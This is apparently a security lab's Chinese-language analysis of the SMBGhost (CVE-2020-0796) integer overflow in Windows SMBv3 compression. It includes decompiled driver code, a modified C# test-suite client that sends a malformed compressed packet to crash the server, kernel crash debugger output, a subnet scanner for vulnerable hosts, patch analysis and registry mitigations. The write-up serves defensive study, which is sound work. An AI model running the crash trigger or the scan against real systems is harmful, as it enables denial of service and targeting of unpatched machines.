3月11日,微軟發布了針對115個CVE漏洞的補丁更新,其中最引人關注的是一個針對Smb伺服器/客戶端的一個內存破壞漏洞,CVE編號為CVE-2020-0796,成功利用此漏洞的攻擊者可以在目標SMB伺服器或SMB客戶端上執行任意代碼,此漏洞屬於嚴重危害的零接觸蠕蟲級遠程代碼執行漏洞,此漏洞也被稱為 SMBGhost或「Coronablue。
3月12日,微軟正式發布漏洞通告和相關補丁:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796。
客戶端漏洞發生在mrxsmb.sys中,服務端漏洞發生在srv2.sys中,由於Smb沒有正確處理壓縮的數據包,在解壓數據包的時候使用客戶端傳過來的長度進行解壓時,並沒有檢查長度是否合法導致出現整數溢出。
Smb 協議就是2017年 WannaCry 和 NotPetya 勒索軟體蠕蟲傳播的協議,利用針對SMB伺服器的漏洞,未經身份驗證的攻擊者可以將特製數據包發送到目標SMBv3伺服器;若要利用針對SMB客戶端的漏洞,未經身份驗證的攻擊者將需要配置惡意的SMBv3伺服器,並誘使用戶連接到該伺服器上。
靜態分析負責Smb伺服器傳輸的文件位於C:\Windows\System32\drivers\srv2.sys,srv2.sys存在漏洞的版本是18362或18363,可以直接在windows10客戶機中提取,此漏洞影響的是SMB v3.1.1,這是Smb協議的最新版本。
用IDA加載srv2.sys後分析,通過MS符號伺服器加載srv2.sys符號文件,解析出一些函數:
Srv2DecompressMessageAsync
Srv2DecompressData
Smb2GetHonorCompressionAlgOrder
Smb2SelectCompressionAlgorithm
Smb2ValidateCompressionCapabilities
SMB v3中支持數據壓縮,如果SMB Header中的ProtocolId是0xFC, 'S', 'M', 'B',說明數據是壓縮的,這時smb會調用解壓函數來處理,smb會調用srv2!Srv2ReceiveHandler函數接收smb數據包,並根據ProtocoII調用對應的處理函數。
__int64 __fastcall Srv2ReceiveHandler(__int64 a1, void *Src, __int64 a3, unsigned int a4, unsigned int *a5, char *Srca, struct _SLIST_ENTRY *a7, _QWORD *a8)
{
.
Size = a4;
v8 = a4;
v73 = 0;
v9 = (char *)Src;
v10 = 2;
v11 = -1i64;
*a8 = 0i64;
if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control
&& HIDWORD(WPP_GLOBAL_Control->Timer) & 0x200
&& BYTE1(WPP_GLOBAL_Control->Timer) >= 2u )
{
v70 = Src;
WPP_SF_DqDq(WPP_GLOBAL_Control->AttachedDevice);
}
if ( v8 < 4 )
goto LABEL_15;
switch ( *(_DWORD *)Srca )
{
case 0x424D53FE:
if ( v8 < 0x40 || *((_WORD *)Srca + 6) >= 0x13u )
goto LABEL_15;
goto LABEL_21;
case 0x424D53FC:
v12 = v8 < 0x10;
break;
case 0x424D53FD:
v12 = v8 < 0x34;
break;
default:
if ( *(_DWORD *)Srca != 1112364031 || v8 < 0x21 || Srca[4] != 114 )
goto LABEL_15;
LABEL_21:
v15 = __readgsdword(0x1A4u);
v16 = *(_DWORD *)qword_1C0046110 - 1;
if ( (unsigned int)v15 + 1 < *(_DWORD *)qword_1C0046110 )
v16 = v15 + 1;
v17 = v16;
v18 = *((_QWORD *)qword_1C0046110 + 4);
v19 = *(_QWORD *)(v18 + 8 * v17);
if ( !*(_BYTE *)(v19 + 112) )
PplpLazyInitializeLookasideList(qword_1C0046110, *(_QWORD *)(v18 + 8 * v17));
++*(_DWORD *)(v19 + 20);
v20 = ExpInterlockedPopEntrySList((PSLIST_HEADER)v19);
}
產生整數溢出漏洞的代碼在srv2!Srv2DecompressData函數中:
__int64 __fastcall Srv2DecompressData(__int64 a1)
{
__int64 v1; // rdi
__int64 v2; // rax
__m128i v3; // xmm0
__m128i v4; // xmm0
unsigned int v5; // ebp
__int64 v7; // rax
__int64 v8; // rbx
int v9; // eax
__m128i MaxCount; // [rsp+30h] [rbp-28h]
int v11; // [rsp+60h] [rbp+8h]
v11 = 0;
v1 = a1;
v2 = *(_QWORD *)(a1 + 240);
if ( *(_DWORD *)(v2 + 36) < 0x10u )
return 0xC000009B;
v3 = *(__m128i *)*(_QWORD *)(v2 + 24);
MaxCount = v3;
v4 = _mm_srli_si128(v3, 8);
v5 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64);
if ( v5 != v4.m128i_u16[0] )
return 0xC00000BB;
v7 = SrvNetAllocateBuffer((unsigned int)(MaxCount.m128i_i32[1] + v4.m128i_i32[1]), 0i64);
v8 = v7;
if ( !v7 )
return 0xC000009A;
if ( (int)SmbCompressionDecompress(
v5,
*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + MaxCount.m128i_u32[3] + 16i64,
(unsigned int)(*(_DWORD *)(*(_QWORD *)(v1 + 240) + 36i64) - MaxCount.m128i_i32[3] - 16),
MaxCount.m128i_u32[3] + *(_QWORD *)(v7 + 24),
MaxCount.m128i_i32[1],
&v11) < 0
|| (v9 = v11, v11 != MaxCount.m128i_i32[1]) )
{
SrvNetFreeBuffer(v8);
return 0xC000090B;
}
if ( MaxCount.m128i_i32[3] )
{
memmove(
*(void **)(v8 + 24),
(const void *)(*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + 16i64),
MaxCount.m128i_u32[3]);
v9 = v11;
}
*(_DWORD *)(v8 + 36) = MaxCount.m128i_i32[3] + v9;
Srv2ReplaceReceiveBuffer(v1, v8);
return 0i64;
}Srv2DecompressData函數主要有三個功能:分配緩衝區,解壓縮數據,複製payload。
以下資料中有Smb數據包的詳細信息:
https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays%20Redmond%202019.pdf
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962
https://patchwork.kernel.org/patch/11014449/https://patchwork.kernel.org/patch/11014449/)
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962>
上面的規範詳細說明了每個數據包的結構,在IDA中重命名了一些函數和數據,這樣可以更好的理解srv2!Srv2DecompressData函數的功能:
__int64 __fastcall Srv2DecompressData(__int64 _smb_packet)
{
__int64 smb_packet; // rdi
__int64 _header; // rax
SMB_V2_COMPRESSION_TRANSFORM_HEADER v3; // xmm0
AAA smb_header_compress; // xmm0_8
unsigned int CompressionAlgorithm; // ebp
__int64 __alloc_buffer; // rax
__int64 __allocated_buffer; // rbx
int PayloadSize; // eax
SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h]
int UncompressedSize; // [rsp+60h] [rbp+8h]
UncompressedSize = 0;
smb_packet = _smb_packet;
_header = *(_QWORD *)(_smb_packet + 0xF0);
// 檢測數據包長度,_header + 0x24是數據包長度
if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) )
return 0xC000090Bi64;
//_header + 0x18 是客戶端傳進來的Buffer
v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18);
Header = v3;
//檢查使用的壓縮算法是否與NEGOTIATE_PACKET序列中協商的算法相同
*(__m128i *)&smb_header_compress.Algo = _mm_srli_si128(
(__m128i)v3,
offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm));
CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64);
if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo )
return 0xC00000BBi64;
// 這裡沒有檢查相加的值,導致整數溢出,分配了一個較小的 __alloc_buffer
__alloc_buffer = SrvNetAllocateBuffer(
(unsigned int)(
Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
0i64
);
__allocated_buffer = __alloc_buffer;
if ( !__alloc_buffer )
return 0xC000009Ai64;
// 在新分配的緩衝區中解壓縮數據,並檢查未壓縮的大小是否等於Header.OriginalCompressedSegmentSize中填寫的大小
if ( (int)SmbCompressionDecompress(
CompressionAlgorithm,
(BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
+ 0x10i64),
*(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10,
(BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)),
Header.OriginalCompressedSegmentSize,
&UncompressedSize) < 0
|| (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )
{
SrvNetFreeBuffer(__allocated_buffer);
return 0xC000090Bi64;
}
// Copy optional payload
if ( Header.OffsetOrLength )
{
memmove(
*(void **)(__allocated_buffer + 0x18),
(const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64),
(unsigned int)Header.OffsetOrLength);
PayloadSize = UncompressedSize;
}
*(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize;
Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer);
return 0i64;
}
漏洞點就在這裡,沒有檢查相加的值,導致出現整數溢出,SrvNetAllocateBuffer分配了一個較小的 __alloc_buffer:
__alloc_buffer = SrvNetAllocateBuffer(
(unsigned int )(Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
0 i64
);OriginalCompressedSegmentSize和OffsetOrLength這兩個欄位是可控的,第一個欄位描述未壓縮數據的大小,第二個欄位用於連接壓縮的smb數據包(請參閱[MS-SMB2]規範2.2.42):
OriginalCompressedSegmentSize和OffsetOrLength是32位的值,srv2!Srv2DecompressData函數會分配新的緩衝區,在整數溢出之前將數據添加到buffer中。
對應的彙編代碼如下:
00000001C0017EB2 movq rcx, xmm0
...
00000001C0017EC8 mov rax, qword ptr [rsp+58h+Header.ProtocolId]
00000001C0017ECD xor edx, edx
00000001C0017ECF shr rax, 20h ; OriginalCompressedSegmentSize
00000001C0017ED3 shr rcx, 20h ; OffsetOrLength
00000001C0017ED7 add ecx, eax
00000001C0017ED9 call cs:__imp_SrvNetAllocateBuffer動態分析
存在漏洞的系統是Windows 10 1903或1909 Windows,觸發漏洞需要SMB v3.1.1完整壓縮功能的SMB客戶端。
https://github.com/microsoft/WindowsProtocolTestSuites/
上面項目是中有很多Windows協議數據包,比如SMB伺服器/客戶端,RDP伺服器/客戶端,Kerberos伺服器,SMBD伺服器等的完整實現,通過此項目創建了一個數據包,可以編寫一個類似PoC的數據包用於動態調試。
// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs
namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common
{
/// <summary>
/// SMB2 Compression Utility.
/// </summary>
public static class Smb2Compression
{
private static uint i = 0;
/// <summary>
/// Compress SMB2 packet.
/// </summary>
/// <param name="packet">The SMB2 packet.</param>
/// <param name="compressionInfo">Compression info.</param>
/// <param name="role">SMB2 role.</param>
/// <param name="offset">The offset where compression start, default zero.</param>
/// <returns></returns>
public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0)
{
var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role);
/*if (compressionAlgorithm == CompressionAlgorithm.NONE)
{
return packet;
}*/
// HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login)
if (i < 3)
{
i++;
return packet;
}
var packetBytes = packet.ToBytes();
var compressor = GetCompressor(compressionAlgorithm);
// HACK: Insane length to trigger the integrer overflow
offset = 0xffffffff;
var compressedPacket = new Smb2CompressedPacket();
compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader;
compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length;
compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm;
compressedPacket.Header.Reserved = 0;
compressedPacket.Header.Offset = offset;
compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray();
compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray());
var compressedPackectBytes = compressedPacket.ToBytes();
// HACK: force compressed packet to be sent
return compressedPacket;
// Check whether compression shrinks the on-wire packet size
// if (compressedPackectBytes.Length < packetBytes.Length)
// {
// compressedPacket.OriginalPacket = packet;
// return compressedPacket;
// }
// else
// {
// return packet;
// }
}
}
}
namespace Microsoft.Protocols.TestManager.BranchCachePlugin
{
class Program
{
static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info)
{
Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds));
client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 };
// NEGOTIATION is done in "plaintext", this is the call within UserLogon:
// client.Negotiate(
// 0,
// 1,
// Packet_Header_Flags_Values.NONE,
// messageId++,
// new DialectRevision[] { DialectRevision.Smb311 },
// SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED,
// Capabilities_Values.NONE,
// clientGuid,
// out selectedDialect,
// out gssToken,
// out header,
// out negotiateResp,
// preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 }, // apprently mandatory for compression
// compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }
// );
if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp))
return;
// From now on, we compress every new packet
client.CompressionInfo.CompressAllPackets = true;
// Get tree information about a remote share (which does not exists)
TREE_CONNECT_Response treeConnectResp;
string uncSharePath = Smb2Utility.GetUncPath(info.ContentServerName, defaultShare);
// trigger crash here
client.TreeConnect(
1,
1,
Packet_Header_Flags_Values.FLAGS_SIGNED,
messageId++,
sessionId,
uncSharePath,
out treeId,
out header,
out treeConnectResp
);
}
static void Main(string[] args)
{
Console.WriteLine("Hello World!");
Logger logger = new Logger();
AccountCredential accountCredential = new AccountCredential("", "Ghost", "Ghost");
BranchCacheDetector bcd = new BranchCacheDetector(
logger,
"DESKTOP-SMBVULN",
"DESKTOP-SMBVULN",
accountCredential
);
DetectionInfo info = new DetectionInfo();
info.SelectedTransport = "SMB2";
info.ContentServerName = "DESKTOP-SMBVULN";
info.UserName = "Ghost";
info.Password = "Ghost";
TriggerCrash(bcd,info);
Console.WriteLine("Goodbye World!");
}
}
}發送Smb2Compression.cs數據包後可以用進行windbg調試,整數溢出上下文如下:
Breakpoint 3 hit
漏洞檢測
srv2!Srv2DecompressData+0x6f:
fffff800`50ad7ecf 48c1e820 shr rax,20h
kd> p
srv2!Srv2DecompressData+0x73:
fffff800`50ad7ed3 48c1e920 shr rcx,20h
kd>
srv2!Srv2DecompressData+0x77:
fffff800`50ad7ed7 03c8 add ecx,eax
kd> r eax
eax=7e
kd> r ecx
ecx=ffffffff
kd> p
srv2!Srv2DecompressData+0x79:
fffff800`50ad7ed9 4c8b15489a0200 mov r10,qword ptr [srv2!_imp_SrvNetAllocateBuffer (fffff800`50b01928)]
kd> r ecx
ecx=7d
kd> p
srv2!Srv2DecompressData+0x80:
fffff800`50ad7ee0 e8fbe29704 call srvnet!SrvNetAllocateBuffer (fffff800`554561e0)
kd> p
srv2!Srv2DecompressData+0x85:
fffff800`50ad7ee5 488bd8 mov rbx,rax
kd> g
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000050
(0xFFFF8483C09E7E2F,0x0000000000000000,0xFFFFF80051A0E750,0x0000000000000002)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff800`51a79580 cc int 3
kd> !analyze -v
Connected to Windows 10 18362 x64 target at (Wed Mar 11 18:06:55.585 2020 (UTC + 1:00)), ptr64 TRUE
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff8483c09e7e2f, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff80051a0e750, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
STACK_TEXT:
fffff105`d69921b8 fffff800`51b5b492 : nt!DbgBreakPointWithStatus
fffff105`d69921c0 fffff800`51b5ab82 : nt!KiBugCheckDebugBreak+0x12
fffff105`d6992220 fffff800`51a71917 : nt!KeBugCheck2+0x952
fffff105`d6992920 fffff800`51ab5b0a : nt!KeBugCheckEx+0x107
fffff105`d6992960 fffff800`5197e1df : nt!MiSystemFault+0x18fafa
fffff105`d6992a60 fffff800`51a7f69a : nt!MmAccessFault+0x34f
fffff105`d6992c00 fffff800`51a0e750 : nt!KiPageFault+0x35a
fffff105`d6992d98 fffff800`5191c666 : nt!RtlDecompressBufferXpressLz+0x50
fffff105`d6992db0 fffff800`5546e0bd : nt!RtlDecompressBufferEx2+0x66
fffff105`d6992e00 fffff800`50ad7f41 : srvnet!SmbCompressionDecompress+0xdd
fffff105`d6992e70 fffff800`50ad699e : srv2!Srv2DecompressData+0xe1
fffff105`d6992ed0 fffff800`50b19a7f : srv2!Srv2DecompressMessageAsync+0x1e
fffff105`d6992f00 fffff800`51a7504e : srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
fffff105`d6992f80 fffff800`51a7500c : nt!KxSwitchKernelStackCallout+0x2e
fffff105`d52cf8f0 fffff800`5197545e : nt!KiSwitchKernelStackContinue
fffff105`d52cf910 fffff800`5197525c : nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e
fffff105`d52cf9b0 fffff800`519750d3 : nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc
fffff105`d52cfa20 fffff800`5197508d : nt!KeExpandKernelStackAndCalloutInternal+0x33
fffff105`d52cfa90 fffff800`50b197d7 : nt!KeExpandKernelStackAndCalloutEx+0x1d
fffff105`d52cfad0 fffff800`51fc54a7 : srv2!RfspThreadPoolNodeWorkerRun+0x117
fffff105`d52cfb30 fffff800`519e5925 : nt!IopThreadStart+0x37
fffff105`d52cfb90 fffff800`51a78d5a : nt!PspSystemThreadStartup+0x55
fffff105`d52cfbe0 00000000`00000000 : nt!KiStartSystemThread+0x2a使用如下python腳本檢測對應主機:
import socket
import struct
import sys
from netaddr import IPNetwork
pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
subnet = sys.argv[1]
for ip in IPNetwork(subnet):
sock = socket.socket(socket.AF_INET)
sock.settimeout(3)
try:
sock.connect(( str(ip), 445 ))
except:
sock.close()
continue
sock.send(pkt)
nb, = struct.unpack(">I", sock.recv(4))
res = sock.recv(nb)
if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00":
print(f"{ip} Not vulnerable.")
else:
print(f"{ip} Vulnerable")使用方法:
其他漏洞檢測腳本:
https://github.com/ollypwn/SMBGhost/blob/master/scanner.py
https://github.com/T13nn3s/CVE-2020-0976/blob/master/CVE-2020-0796-Smbv3-checker.ps1
https://github.com/cyberstruggle/DeltaGroup/blob/master/CVE-2020-0796/CVE-2020-0796.nse
補丁分析3月11日ADV200005漏洞洩漏後,微軟在2020年3月12日發布了補丁程序(KB4551762),該補丁程序修復了分配大小中的整數溢出:
修復前代碼:
__alloc_buffer = SrvNetAllocateBuffer(
(unsigned int )(Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
0 i64
);
修復後代碼:
unsigned int _v_allocation_size = 0;
if (!NT_SUCCESS(RtlUlongAdd(Header.OriginalCompressedSegmentSize, smb_header_compress.OffsetOrLength, &_v_allocation_size)))
{
SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
goto ON_ERROR;
}
if (_v_allocation_size > another_smb_size_i_guess)
{
SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
goto ON_ERROR;
}
__alloc_buffer = SrvNetAllocateBuffer(
_v_allocation_size,
0i64
);
if ( !__alloc_buffer )
return 0xC000009A;
if (!NT_SUCCESS(RtlULongSub(_v_allocation_size, smb_header_compress.OffsetOrLength, &_v_uncompressed_size)))
{
SEND_SOME_ETW_EVENT_FOR_TELEMETRY_AND_CATCHING_BAD_GUYS(&wpp_guid);
goto ON_ERROR;
}
if (!NT_SUCCESS(SmbCompressionDecompress(
AlgoId,
(BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
+ 0x10i64),
_v_uncompressed_size,
Size.m128i_u32[3] + *(_QWORD *)(v10 + 24),
Header.OriginalCompressedSegmentSize,
&UncompressedSize)) < 0
|| (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )在RtlUlongAdd和RtlULongSub運行時做了整數溢出和下溢檢查。
分析總結CVE-2020-0796漏洞點通過補丁很容易對比出來,此漏洞在大量主機上尚未修復,漏洞利用需要做到內核池溢出,必須在Windows 10上過KALSR才能進行遠程利用,用戶應該儘量暫時禁用SMB服務,避免在被野利用攻擊。
影響版本Windows 10 Version 1903 for 32-bit Systems
安全建議
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, version 1909 (Server Core installation)請根據如下連結下載補丁進行修復:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796
臨時解決方法:
禁用SMBv3壓縮
可以使用以下PowerShell命令禁用壓縮功能,以阻止未經身份驗證的攻擊者利用SMBv3伺服器的漏洞。
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
進行更改後,無需重新啟動,此解決方法不能防止利用SMB客戶端漏洞。
下面的PowerShell命令取消禁用:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force
參考文獻https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/microsoft-public-symbols
https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays%20Redmond%202019.pdf
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962
https://github.com/microsoft/WindowsProtocolTestSuites/
山石網科NEURON安全實驗室成立於2015年,為多省公安廳提供技術支撐工作,為上合峰會、財富論壇、金磚五國等多次重大活動提供網絡安保支撐工作。在多次攻防賽事中連獲佳績,網安中國行第一名,連續兩屆紅帽杯冠軍、網鼎杯線上第一名,在補天杯、極棒杯、全國多地的護網演習等也都獲得優秀的成績,每年獲得大量的CNVD、CNNVD、CVE證書或編號。
如需幫助請諮詢 hscert@hillstonenet.com